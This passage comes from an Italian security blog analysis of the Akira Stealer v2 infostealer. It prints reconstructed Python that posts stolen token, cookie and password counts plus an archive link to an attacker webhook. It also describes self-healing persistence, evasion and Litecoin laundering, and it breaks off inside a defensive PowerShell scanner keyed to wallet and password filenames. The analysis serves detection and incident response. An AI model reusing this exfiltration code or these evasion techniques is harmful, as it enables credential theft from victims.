uscita.",[525,10426,10427],{},[567,10428,10429],{},"Notifica con embed",[615,10431,10433],{"className":4513,"code":10432,"language":4515,"meta":529,"style":529},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[578,10434,10435,10440,10445,10450,10455,10460,10465,10470,10475,10479,10484,10489,10494,10498],{"__ignoreMap":529},[1704,10436,10437],{"class":1706,"line":1707},[1704,10438,10439],{},"# Build embed with key metadata\n",[1704,10441,10442],{"class":1706,"line":530},[1704,10443,10444],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1704,10446,10447],{"class":1706,"line":2088},[1704,10448,10449],{},"fields = [\n",[1704,10451,10452],{"class":1706,"line":2094},[1704,10453,10454],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1704,10456,10457],{"class":1706,"line":2415},[1704,10458,10459],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1704,10461,10462],{"class":1706,"line":2421},[1704,10463,10464],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1704,10466,10467],{"class":1706,"line":3080},[1704,10468,10469],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1704,10471,10472],{"class":1706,"line":3876},[1704,10473,10474],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1704,10476,10477],{"class":1706,"line":3882},[1704,10478,7933],{},[1704,10480,10481],{"class":1706,"line":4128},[1704,10482,10483],{},"payload = {\n",[1704,10485,10486],{"class":1706,"line":5046},[1704,10487,10488],{},"    'username':'Akira 💊',\n",[1704,10490,10491],{"class":1706,"line":5052},[1704,10492,10493],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1704,10495,10496],{"class":1706,"line":5058},[1704,10497,2424],{},[1704,10499,10500],{"class":1706,"line":5064},[1704,10501,10502],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[630,10504,10505,10511],{},[633,10506,10507,10510],{},[567,10508,10509],{},"Consegna",": inviata al canale Discord o Telegram dell'attaccante.",[633,10512,10513,10516,10517,10520],{},[567,10514,10515],{},"Link nell'embed",": contiene un ",[578,10518,10519],{},"download_url"," cliccabile che punta allo ZIP su GoFile (o sull'host di fallback).",[525,10522,10523],{},[567,10524,10525],{},"Fallback con link grezzo",[615,10527,10529],{"className":4513,"code":10528,"language":4515,"meta":529,"style":529},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[578,10530,10531,10536,10541],{"__ignoreMap":529},[1704,10532,10533],{"class":1706,"line":1707},[1704,10534,10535],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1704,10537,10538],{"class":1706,"line":530},[1704,10539,10540],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1704,10542,10543],{"class":1706,"line":2088},[1704,10544,10545],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[630,10547,10548],{},[633,10549,10550,10553],{},[567,10551,10552],{},"Testo semplice",": garantisce la consegna del link nel caso in cui gli embed vengano bloccati o scartati in silenzio.",[525,10555,10556],{},[567,10557,10558],{},"Come l'attaccante recupera il link",[525,10560,10561,10564],{},[567,10562,10563],{},"1. Infrastruttura di webhook","\nL'attaccante incorpora l'endpoint del webhook nella configurazione del malware:",[615,10566,10568],{"className":4513,"code":10567,"language":4515,"meta":529,"style":529},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[578,10569,10570,10575],{"__ignoreMap":529},[1704,10571,10572],{"class":1706,"line":1707},[1704,10573,10574],{},"# at class initialization\n",[1704,10576,10577],{"class":1706,"line":530},[1704,10578,10579],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[630,10581,10582,10589],{},[633,10583,10584,998,10586],{},[567,10585,1343],{},[578,10587,10588],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[633,10590,10591,998,10594],{},[567,10592,10593],{},"Telegram",[578,10595,10596],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[525,10598,10599,10602],{},[567,10600,10601],{},"2. Consegna in tempo reale","\nSubito dopo un upload riuscito, il malware esegue:",[615,10604,10606],{"className":4513,"code":10605,"language":4515,"meta":529,"style":529},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[578,10607,10608,10612,10617,10622,10627,10632,10637,10642,10647,10651,10656],{"__ignoreMap":529},[1704,10609,10610],{"class":1706,"line":1707},[1704,10611,10483],{},[1704,10613,10614],{"class":1706,"line":530},[1704,10615,10616],{},"  'username': 'Akira 💊',\n",[1704,10618,10619],{"class":1706,"line":2088},[1704,10620,10621],{},"  'embeds': [{\n",[1704,10623,10624],{"class":1706,"line":2094},[1704,10625,10626],{},"      'title': '🗄️ Exfiltration Complete',\n",[1704,10628,10629],{"class":1706,"line":2415},[1704,10630,10631],{},"      'fields': [\n",[1704,10633,10634],{"class":1706,"line":2421},[1704,10635,10636],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1704,10638,10639],{"class":1706,"line":3080},[1704,10640,10641],{},"      ]\n",[1704,10643,10644],{"class":1706,"line":3876},[1704,10645,10646],{},"  }]\n",[1704,10648,10649],{"class":1706,"line":3882},[1704,10650,2424],{},[1704,10652,10653],{"class":1706,"line":4128},[1704,10654,10655],{},"# Transmit the archive URL entirely in the JSON body\n",[1704,10657,10658],{"class":1706,"line":5046},[1704,10659,10660],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[630,10662,10663,10673],{},[633,10664,10665,10666,10668,10669,10672],{},"La variabile ",[578,10667,10519],{}," viene interpolata nel campo ",[578,10670,10671],{},"fields.value"," dell'embed.",[633,10674,10675,10676,10678,10679,10682],{},"Per il fallback Telegram, il ",[578,10677,10519],{}," compare nel parametro ",[578,10680,10681],{},"message"," in testo semplice.",[525,10684,10685],{},[567,10686,10687],{},"3. Limiti di visibilità per EDR e analisi forense",[630,10689,10690,10699],{},[633,10691,10692,10695,10696,10698],{},[567,10693,10694],{},"Nessun logging locale",": il malware non scrive il ",[578,10697,10519],{}," su disco né nei log di sistema.",[633,10700,10701,10704],{},[567,10702,10703],{},"Punti ciechi degli EDR",": strumenti come Microsoft Defender for Endpoint possono segnalare il tentativo di richiesta HTTP, ma non riescono a estrarre l'URL incorporato.",[525,10706,10707],{},[567,10708,10709],{},"4. Perché l'analista non può recuperarlo in locale:",[630,10711,10712,10725,10746],{},[633,10713,10714,10717,10718,10720,10721,10724],{},[567,10715,10716],{},"Nessuna copia locale del link",": il malware scrive il ",[578,10719,10519],{}," solo in memoria e lo trasmette in rete, ",[4648,10722,10723],{},"non"," salva questo URL su disco né nei log.",[633,10726,10727,10730,10731,10733,10738,10739,10741,10742,10745],{},[567,10728,10729],{},"Pulizia dello staging effimero",": subito dopo l'upload il codice esegue:",[724,10732],{},[1704,10734,10737],{"className":10735},[10736],"text-monospace","shutil.rmtree(ROOT)",",",[724,10740],{},"\ncancellando da ",[578,10743,10744],{},"%TEMP%"," tutti gli artefatti collocati in staging, compresi eventuali file di testo transitori.",[633,10747,10748,10751,10752,10755],{},[567,10749,10750],{},"Trasmissione solo via rete",": le chiamate al webhook (",[578,10753,10754],{},"requests.post",") avvengono in memoria, sulla macchina della vittima non si creano log HTTP né voci nella cronologia del browser.",[846,10757,10758],{},[525,10759,10760,10763,10764,10766,10767,10769],{},[567,10761,10762],{},"Implicazioni per gli analisti:","\nSenza una cattura dei pacchetti dal vivo (per esempio un TAP di rete o un proxy) nel momento dell'esecuzione, il ",[578,10765,10519],{}," esatto è irrecuperabile dopo l'infezione.\nInoltre l'archivio esfiltrato viene cancellato automaticamente dal servizio di hosting, il che riduce ulteriormente la finestra per il recupero forense.\nUn'immagine del sistema o un recupero forense sull'host dopo l'infezione ",[4648,10768,10723],{}," rivelano l'URL dell'attaccante né le credenziali del servizio di hosting, perché in locale non resta alcun artefatto.",[852,10771],{"className":10772},[855,856],[740,10774,10776],{"id":10775},"_713-conclusione","7.13 Conclusione",[525,10778,746],{},[525,10780,10781,10783],{},[578,10782,609],{}," (Akira Stealer v2) è un toolkit di stealer completo e distribuito commercialmente. Combina un targeting esteso, tecniche sofisticate di anti analisi, controllo dinamico dell'infrastruttura e furto di dati a tutti i livelli: credenziali, criptovalute, profilazione del sistema e file utente. La sua modularità e la sua furtività, unite a metodi di reinfezione rapidi, lo rendono uno degli stealer tecnicamente più avanzati osservati in impiego attivo.",[556,10785,10787],{"id":10786},"_8-catena-di-esecuzione-circolare-un-loop-che-si-autoripara","8. Catena di esecuzione circolare: un loop che si autoripara",[525,10789,562],{},[525,10791,10792,10793,10796],{},"Uno degli elementi tecnicamente più sofisticati di questa campagna è il suo modello di esecuzione circolare e rigenerativo. A differenza del malware convenzionale, con stadi lineari che vanno dal dropper al payload per poi svanire, questa operazione è stata progettata come un ",[567,10794,10795],{},"loop chiuso",", in cui ogni componente vigila sugli altri.",[525,10798,10799,10800,10803],{},"Questa ",[567,10801,10802],{},"architettura che si autoripara"," ha reso la catena di infezione non solo persistente, ma anche autonoma. Era in grado di riprendersi completamente da rimozioni parziali. Finché un solo pezzo restava in vita, l'intero ecosistema del malware poteva ricomporsi.",[740,10805,10807],{"id":10806},"_81-analisi-del-comportamento","8.1 Analisi del comportamento",[525,10809,746],{},[2102,10811,10812,10838,10851,10882,10900],{},[633,10813,10814,10819,10821,10822,10825,10826,10828,10829,10831,10832,10834,10835,10837],{},[567,10815,10816,10817,1138],{},"Ancora di persistenza (",[578,10818,601],{},[578,10820,601],{}," agisce da punto d'appoggio fondamentale. Viene tipicamente scritto in una posizione di avvio dell'utente Windows, per esempio ",[578,10823,10824],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", oppure registrato tramite ",[578,10827,1676],{},". Il suo compito è semplice ma decisivo: assicurarsi che ",[578,10830,605],{}," sia presente e avviarlo in silenzio al logon dell'utente. Se ",[578,10833,605],{}," manca, riestrae l'archivio ",[578,10836,1845],{}," (che si trova in una cartella temporanea o viene scritto di nuovo), rigenerando l'intera struttura dell'app Electron.",[633,10839,10840,10845,10847,10848,10850],{},[567,10841,10842,10843,1138],{},"Loader di collegamento (",[578,10844,605],{},[578,10846,605],{}," è l'applicazione Node.js incapsulata in Electron. Non espone alcuna GUI e opera interamente in background. All'avvio esegue la logica JavaScript incorporata in ",[578,10849,1072],{},", usando Node.js come ambiente di runtime. Questo strato di astrazione disaccoppia la logica centrale dallo stub PE e aiuta a sfuggire all'analisi tradizionale.",[633,10852,10853,10858,10859,10861,10862],{},[567,10854,10855,10856,1138],{},"Orchestratore di esecuzione (",[578,10857,2830],{},"\nIncorporato in ",[578,10860,1072],{},", è il vero controller della catena di infezione. Tra le sue funzioni chiave:",[630,10863,10864,10870,10873],{},[633,10865,10866,10867,10869],{},"Verificare la presenza di ",[578,10868,601],{}," e ridistribuirlo se manca",[633,10871,10872],{},"Iniettare dinamicamente la configurazione di runtime: URL dei webhook, indirizzi C2, token",[633,10874,10875,10876,10878,10879,10881],{},"Invocare il payload Python già presente (",[578,10877,609],{},") oppure scaricarlo come parte di un pacchetto ZIP (per esempio ",[578,10880,2894],{},") da infrastruttura controllata dall'attaccante",[633,10883,10884,10889,10890,10892,10893,10895,10896,10899],{},[567,10885,10886,10887,1138],{},"Esecuzione del payload (",[578,10888,609],{},"\nUna volta innescato, ",[578,10891,609],{}," viene eseguito in memoria tramite ",[578,10894,580],{},". Raccoglie sistematicamente credenziali salvate, cookie, token Discord, dati di sessione del browser ed estensioni di wallet di criptovalute. I dati vengono preparati in un archivio ZIP ed esfiltrati via HTTPS, di norma verso webhook Discord, ma sono state osservate anche API di fallback come ",[578,10897,10898],{},"gofile.io"," o endpoint C2 personalizzati.",[633,10901,10902,10905,10906,10908,10909,10911,10912,10914,10915,10917,10918,10920],{},[567,10903,10904],{},"Integrità del loop e autoriparazione","\nIl design è circolare. Se ",[578,10907,601],{}," viene cancellato, verrà ridistribuito. Se ",[578,10910,605],{}," manca, ",[578,10913,601],{}," lo riestrae da ",[578,10916,1845],{},". Se ",[578,10919,609],{}," viene cancellato, lo strato JavaScript lo riottiene. Questa interdipendenza rende il malware resiliente e capace di ricostruire la propria catena di esecuzione praticamente da qualsiasi frammento sopravvissuto.",[525,10922,10923,10924,10927],{},"Questa architettura non è solo modulare, è ",[567,10925,10926],{},"autosufficiente",", progettata deliberatamente per furtività, flessibilità e sopravvivenza di lungo periodo negli ambienti bersaglio.",[740,10929,10931],{"id":10930},"_82-perché-è-rilevante","8.2 Perché è rilevante",[525,10933,746],{},[525,10935,10936,10937,613],{},"Il design architetturale della campagna riflette un livello di sofisticazione che non si vede di solito negli infostealer commodity. Va oltre i semplici loader multistadio: questo è malware progettato per ",[567,10938,10939],{},"resilienza operativa, furtività e automazione",[525,10941,10942],{},[567,10943,10944],{},"Caratteristiche chiave",[630,10946,10947,10953,10991,11011],{},[633,10948,10949,10952],{},[567,10950,10951],{},"Piena autonomia","\nUna volta distribuito, il malware non richiede alcuna interazione dell'utente né riattivazioni esterne. Si comporta come un microservizio malevolo, orchestrando in proprio persistenza, esecuzione del payload e routine di riparazione, senza controllo esterno.",[633,10954,10955,10958,10959],{},[567,10956,10957],{},"Stack di esecuzione multilinguaggio","\nLa toolchain integra:",[630,10960,10961,10971,10977,10983],{},[633,10962,10963,10966,10967,646,10969,1138],{},[567,10964,10965],{},"Binary PE"," (",[578,10968,601],{},[578,10970,605],{},[633,10972,10973,10976],{},[567,10974,10975],{},"Node.js / JavaScript"," (tramite Electron)",[633,10978,10979,10982],{},[567,10980,10981],{},"PowerShell"," (usato per il relay offuscato del payload)",[633,10984,10985,10966,10988,10990],{},[567,10986,10987],{},"Python",[578,10989,609],{},", eseguito come stealer residente in memoria)\nQuesta composizione a strati rende più difficile profilare, riconoscere e analizzare il malware con i tradizionali strumenti statici.",[633,10992,10993,10996,10997],{},[567,10994,10995],{},"Evasione delle difese per progetto","\nOgni componente è codificato, cifrato o iniettato dinamicamente:",[630,10998,10999,11002,11005,11008],{},[633,11000,11001],{},"Relay PowerShell in Base64",[633,11003,11004],{},"Core Python cifrato con AES e compresso con GZIP",[633,11006,11007],{},"JavaScript offuscato con iniezione di token a runtime",[633,11009,11010],{},"Comportamento di autoriparazione che manda in frustrazione le rimozioni parziali",[633,11012,11013,11016,11017,10917,11020,11022,11023,11025],{},[567,11014,11015],{},"Nessun singolo punto di rottura","\nLa logica di autoriparazione del malware fa sì che ",[567,11018,11019],{},"la rimozione di un singolo componente non basti",[578,11021,601],{}," viene rimosso, l'info stealer lo ricrea. Se ",[578,11024,609],{}," viene cancellato, il controller JavaScript lo riscarica e lo ridistribuisce.",[525,11027,11028,11029,11032],{},"In breve, il malware si comporta più come un ",[567,11030,11031],{},"sistema distribuito"," che come un payload tipico, un sistema che mette al primo posto sopravvivenza, modularità e furtività.",[525,11034,11035,11036,11039],{},"Questo fa salire la minaccia dal livello di attacco opportunistico a quello di una ",[567,11037,11038],{},"piattaforma resiliente e adattiva",", e obbliga i difensori a rispondere alla sua complessità con strategie di rilevamento e risposta altrettanto stratificate.",[740,11041,11043],{"id":11042},"_83-implicazioni-per-i-blue-team","8.3 Implicazioni per i blue team",[525,11045,746],{},[525,11047,11048],{},"Per i difensori e per gli operatori CSOC, un'architettura di questo tipo alza l'asticella:",[630,11050,11051,11057,11072],{},[633,11052,11053,11056],{},[567,11054,11055],{},"La pulizia parziale è inefficace",". Tutti i nodi vanno identificati e rimossi contemporaneamente.",[633,11058,11059,11062,11063,11065,11066,11065,11068,11065,11070,613],{},[567,11060,11061],{},"La correlazione in Defender for Endpoint"," è essenziale. Gli analisti devono ricostruire le catene complete: da ",[578,11064,601],{}," → ",[578,11067,1127],{},[578,11069,1224],{},[578,11071,580],{},[633,11073,11074,11077],{},[567,11075,11076],{},"Una persistenza priva di IOC"," significa che euristiche basate sulla memoria, baseline della telemetria e rilevamento basato sulle catene di esecuzione diventano decisivi.",[525,11079,11080,11081,11084],{},"Non è solo uno stealer. È una ",[567,11082,11083],{},"piattaforma di malware resiliente",", che si comporta più come un sistema distribuito che come una minaccia semplice. Ed è esattamente questo a renderla insieme notevole e pericolosa.",[556,11086,11088],{"id":11087},"_9-tracciamento-e-analisi-blockchain","9. Tracciamento e analisi blockchain",[525,11090,562],{},[740,11092,11094],{"id":11093},"_91-ricostruire-la-distribuzione-dei-fondi-in-una-campagna-di-malware-basata-su-litecoin","9.1 Ricostruire la distribuzione dei fondi in una campagna di malware basata su Litecoin",[525,11096,746],{},[525,11098,11099,11100,11103],{},"Durante la fase di reverse engineering di questa campagna di malware abbiamo estratto diversi indirizzi di wallet hardcoded usati dallo stealer per l'esfiltrazione di criptovalute. Seguendo l'attività on-chain di questi wallet Litecoin siamo riusciti a scoprire pattern che indicano tattiche deliberate di riciclaggio di denaro. Il wallet controllato dall'attaccante ",[578,11101,11102],{},"LW6EopiZ..."," funge da punto centrale di aggregazione. I fondi rubati a più vittime confluiscono in questo indirizzo, per poi essere rapidamente redistribuiti su più indirizzi nuovi.",[525,11105,11106],{},"Il comportamento osservato qui è tipico del classico pattern di split transfer usato nelle operazioni di tumbling o mixing di criptovalute. In ogni caso l'intero saldo in entrata viene diviso in due transazioni in uscita di importo più o meno proporzionale, ciascuna inviata a un wallet diverso. Questa strategia è pensata per ostacolare il clustering degli indirizzi e la ricostruzione della catena, offuscando la provenienza dei fondi. È una tattica efficace per sfuggire al rilevamento da parte delle piattaforme automatiche di analisi blockchain e di threat intelligence.",[525,11108,11109],{},"Questo comportamento di riciclaggio sfrutta una combinazione di tempistica delle transazioni, suddivisione precisa degli importi e riduzione al minimo del riutilizzo degli indirizzi, per aggirare le euristiche comunemente applicate dagli algoritmi di clustering come quelli usati in GraphSense, Chainalysis o TRM Labs. L'intento complessivo è creare flussi transazionali a entropia elevata, che confondono l'attribuzione e spezzano la tracciabilità dei collegamenti, in particolare quando i fondi vengono poi portati su altri asset o scambiati in monete orientate alla privacy.",[525,11111,11112],{},"Nell'esempio qui sotto mostriamo un sottoinsieme strutturato di questo comportamento. Le transazioni in entrata rappresentano trasferimenti da vittime distinte. Questi valori vengono poi mappati con precisione sui flussi in uscita, e mostrano le monete \"lavate\" attraverso pagamenti rapidi, prevedibili e suddivisi algoritmicamente.",[1417,11114,4703,11118],{"className":11115,"style":11117},[11116],"font-size-1","width:100%; border-collapse: collapse;",[1433,11119,11120,4703,11143,4703,11176,4703,11204,4703,11233],{},[1423,11121,4708,11122,4708,11126,4708,11130,4708,11133,4708,11137,4708,11140,4703],{},[1426,11123,11125],{"style":11124},"text-align: left; width: 14%;","Fonte di input",[1426,11127,11129],{"style":11128},"text-align: left; width: 12%;","Data di input",[1426,11131,11132],{"style":11124},"Importo in entrata (LTC)",[1426,11134,11136],{"style":11135},"text-align: left; width: 20%;","→ Wallet dell'attaccante",[1426,11138,11139],{"style":6322},"Indirizzi di uscita",[1426,11141,11142],{},"Totale in uscita (LTC)",[1423,11144,4708,11145,4708,11148,4708,11151,4708,11154,4708,11161,4708,11174,4703],{},[1438,11146,11147],{},"Input_1",[1438,11149,11150],{},"2024-09-21",[1438,11152,11153],{},"0.25339198",[1438,11155,11156,11157,4708],{},"\n      ",[1704,11158,11160],{"title":11159},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1438,11162,11163,11164,11167,11168,11163,11170,11173],{},"\n      - ",[578,11165,11166],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[724,11169],{},[578,11171,11172],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1438,11175,11153],{},[1423,11177,4708,11178,4708,11181,4708,11184,4708,11187,4708,11191,4708,11202,4703],{},[1438,11179,11180],{},"Input_2",[1438,11182,11183],{},"2024-04-16",[1438,11185,11186],{},"1.09976044",[1438,11188,11156,11189,4708],{},[1704,11190,11160],{"title":11159},[1438,11192,11163,11193,11196,11197,11163,11199,11201],{},[578,11194,11195],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[724,11198],{},[578,11200,11195],{}," (0.25671380, 2024-06-13)\n    ",[1438,11203,11186],{},[1423,11205,4708,11206,4708,11209,4708,11212,4708,11215,4708,11219,4708,11231,4703],{},[1438,11207,11208],{},"Input_3",[1438,11210,11211],{},"2024-03-06",[1438,11213,11214],{},"0.77089346",[1438,11216,11156,11217,4708],{},[1704,11218,11160],{"title":11159},[1438,11220,11163,11221,11224,11225,11163,11227,11230],{},[578,11222,11223],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[724,11226],{},[578,11228,11229],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1438,11232,11214],{},[1423,11234,4708,11235,4708,11238,4708,11240,4708,11242,4708,11246,4708,11256,4703],{},[1438,11236,11237],{},"Input_4",[1438,11239,11211],{},[1438,11241,11214],{},[1438,11243,11156,11244,4708],{},[1704,11245,11160],{"title":11159},[1438,11247,11163,11248,11224,11251,11163,11253,11230],{},[578,11249,11250],{},"LUFLTrqYpix...",[724,11252],{},[578,11254,11255],{},"La22dfH9eM...",[1438,11257,11214],{},[852,11259],{"className":11260},[855,856],[556,11262,11264],{"id":11263},"_10-dentro-lecosistema-akira-infrastruttura-di-cybercrime-commercializzata","10. Dentro l'ecosistema Akira – infrastruttura di cybercrime commercializzata",[525,11266,562],{},[525,11268,11269],{},"Akira non è soltanto uno stealer, è il fulcro di un florido ecosistema underground concepito per semplificare, scalare e monetizzare il cybercrime.",[740,11271,11273],{"id":11272},"_101-un-ecosistema-plug-and-play-per-i-threat-actor","10.1 Un ecosistema plug and play per i threat actor",[525,11275,746],{},[525,11277,11278],{},"L'ecosistema Akira è l'esempio di come il cybercrime si sia evoluto in un'economia professionalizzata e orientata ai servizi. Comprende:",[630,11280,11281,11290,11296,11302,11308],{},[633,11282,11283,11286,11287,1138],{},[567,11284,11285],{},"Builder bot"," per la generazione di payload su richiesta (per esempio ",[578,11288,11289],{},"@AkiraRedBot",[633,11291,11292,11295],{},[567,11293,11294],{},"Canali Telegram"," per aggiornamenti, richieste di funzionalità e assistenza clienti",[633,11297,11298,11301],{},[567,11299,11300],{},"Gestione automatizzata di licenze e pagamenti",", spesso tramite messaggi diretti o piattaforme di e-commerce anonime come Sellix",[633,11303,11304,11307],{},[567,11305,11306],{},"Moduli inclusi"," come clipboard hijacker, logger di token Discord, stealer di dati del browser e persino add-on ransomware",[633,11309,11310,11313],{},[567,11311,11312],{},"Payload personalizzabili"," con interfacce di configurazione che permettono di attivare opzioni, inserire webhook e personalizzare l'icona",[525,11315,11316],{},[774,11317],{"alt":11318,"src":11319},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[740,11321,11323],{"id":11322},"_102-la-commercializzazione-del-cybercrime","10.2 La commercializzazione del cybercrime",[525,11325,746],{},[525,11327,11328],{},"La struttura di Akira riflette un movimento più ampio verso il \"Malware-as-a-Service\" (MaaS), dove:",[630,11330,11331,11337,11343,11349],{},[633,11332,11333,11336],{},[567,11334,11335],{},"Non serve alcuna competenza tecnica approfondita"," per lanciare attacchi",[633,11338,11339,11342],{},[567,11340,11341],{},"I costi di ingresso sono bassi"," ($75 per 3 mesi, $150 a vita)",[633,11344,11345,11348],{},[567,11346,11347],{},"Supporto e documentazione immediati"," tramite Telegram",[633,11350,11351,11354],{},[567,11352,11353],{},"I contributi della community"," estendono regolarmente Akira con script e proposte di funzionalità",[525,11356,11357],{},"Questo ecosistema rispecchia i modelli di business SaaS legittimi, con changelog, miglioramenti della UX, fasce di prezzo e upsell.",[525,11359,11360],{},[774,11361],{"alt":11362,"src":11363},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[740,11365,11367],{"id":11366},"_103-oltre-lo-stealer-i-componenti-dellecosistema","10.3 Oltre lo stealer: i componenti dell'ecosistema",[525,11369,746],{},[525,11371,4682,11372,11374],{},[578,11373,609],{}," è il cuore di molti attacchi, l'ecosistema fornisce una catena completa:",[630,11376,11377,11380,11383,11386,11389],{},[633,11378,11379],{},"Strumenti di offuscamento come i wrapper PyInstaller",[633,11381,11382],{},"File binder per accoppiare payload malevoli a software innocuo",[633,11384,11385],{},"Compilatori, crypter e polimorfismo a runtime",[633,11387,11388],{},"Mirror di hosting per la consegna del payload e l'esfiltrazione (per esempio GoFile, AnonFiles)",[633,11390,11391],{},"Bot di gestione dei dati che riassumono credenziali rubate e profili hardware",[525,11393,11394],{},[774,11395],{"alt":11396,"src":11397},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[556,11399,11401],{"id":11400},"_11-akira-stealer-quickcheck-file-interessati","11. Akira Stealer QuickCheck: file interessati",[525,11403,562],{},[740,11405,11407],{"id":11406},"_111-a-cosa-serve","11.1 A cosa serve",[525,11409,746],{},[525,11411,11412,11413,646,11416,646,11419,2204,11422,11425],{},"Dopo una sospetta infezione da Akira Stealer è decisivo sapere subito quali file del tuo sistema rischiavano l'esfiltrazione. Lo script PowerShell QuickCheck descritto qui sopra replica l'esatta logica di ricerca di Akira: scansiona le cartelle ",[567,11414,11415],{},"Desktop",[567,11417,11418],{},"Documents",[567,11420,11421],{},"Downloads",[567,11423,11424],{},"OneDrive"," dell'utente in cerca di file che:",[630,11427,11428,11443,11446],{},[633,11429,11430,11431,646,11434,646,11437,8776,11440],{},"Contengono parole chiave sensibili nel nome, come ",[578,11432,11433],{},"password",[578,11435,11436],{},"wallet",[578,11438,11439],{},"backup",[578,11441,11442],{},"token",[633,11444,11445],{},"Hanno estensioni specifiche tra quelle comunemente prese di mira (.txt, .docx, .pdf, .jpg e simili)",[633,11447,11448],{},"Rientrano nel limite di 2 MB imposto dal malware",[525,11450,11451,11452,11455],{},"QuickCheck offre una panoramica rapida basata sulla logica interna di Akira Stealer, ma ",[567,11453,11454],{},"non sostituisce"," gli strumenti forensi completi né un incident response professionale. Di fronte a violazioni confermate, procedi sempre con un'analisi più approfondita.",[525,11457,11458,11459,646,11462,646,11465,11468,11469,613],{},"Presenta poi una tabella ordinata con ",[567,11460,11461],{},"nome del file",[567,11463,11464],{},"percorso relativo",[567,11466,11467],{},"dimensione (KB)"," e la ",[567,11470,11471],{},"parola chiave che ha fatto scattare la corrispondenza",[846,11473,11474],{},[525,11475,11476,11479,11480,11483,11484,11486,11487,11490],{},[567,11477,11478],{},"DISCLAIMER","\nQuesto strumento è fornito ",[567,11481,11482],{},"“as is”",", senza alcuna garanzia di completezza o di idoneità a uno scopo particolare. ",[567,11485,1605],{}," garantisce il rilevamento di ",[567,11488,11489],{},"tutti"," i file potenzialmente sensibili e non sostituisce un'analisi forense completa del malware. Lo usi a tuo rischio.",[852,11492],{"className":11493},[855],[740,11495,11497],{"id":11496},"avviso-legale","Avviso legale",[525,11499,746],{},[525,11501,11502,11503,11506,11507,11510],{},"Questa utility QuickCheck è destinata esclusivamente a valutazioni di ",[567,11504,11505],{},"security difensiva",". Qualsiasi scansione o utilizzo non autorizzato su sistemi che non ti appartengono può violare le leggi su privacy, diritto d'autore o abuso di strumenti informatici. glueckkanja AG non si assume ",[567,11508,11509],{},"alcuna responsabilità"," per usi impropri o danni derivanti dal suo utilizzo.",[740,11512,11514],{"id":11513},"script-powershell","Script PowerShell",[525,11516,746],{},[615,11518,11520],{"className":1698,"code":11519,"language":1700,"meta":529,"style":529},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions 